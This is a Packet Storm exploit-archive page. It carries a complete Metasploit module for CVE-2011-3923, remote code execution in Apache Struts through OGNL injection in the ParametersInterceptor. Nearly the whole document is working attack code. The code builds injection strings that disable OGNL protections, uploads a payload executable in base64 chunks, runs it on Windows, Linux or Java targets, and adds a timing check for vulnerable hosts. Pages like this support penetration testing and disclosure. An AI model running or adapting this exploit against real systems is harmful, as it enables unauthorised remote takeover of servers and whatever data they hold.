exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Struts ParametersInterceptor Remote Code Execution

Apache Struts ParametersInterceptor Remote Code Execution
Posted Mar 22, 2013
Authored by Meder Kydyraliev | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret parameter values as OGNL expressions during certain exception handling for mismatched data types of properties which allows remote attackers to execute arbitrary Java code via a crafted parameter.

tags | exploit, java, remote, arbitrary
advisories | CVE-2011-3923, OSVDB-78501
SHA-256 | e56bcff70dfc308ffd717452aab966d54c1fdec14e8544d8df4198054ba401b9

Apache Struts ParametersInterceptor Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
for the use of parentheses which in turn allows it to interpret parameter values as
OGNL expressions during certain exception handling for mismatched data types of
properties which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' =>
[
'Meder Kydyraliev', # Vulnerability Discovery and PoC
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
'mihi' #ARCH_JAVA support
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3923'],
[ 'OSVDB', '78501'],
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Oct 01 2011',
'DefaultTarget' => 2))

register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
], self.class)
end

def execute_command(cmd, opts = {})
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
uri = String.new(datastore['TARGETURI'])
uri = normalize_uri(uri)
uri.gsub!(/INJECT/,inject) # append the injection string
resp = send_request_cgi({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
})
return resp #Used for check function.
end

def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = 'false'
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end

#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
chunk_length = 2048 - sub_from_chunk
chunk_length = ((chunk_length/4).floor)*3
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end

def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end

def check
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
print_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1


if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close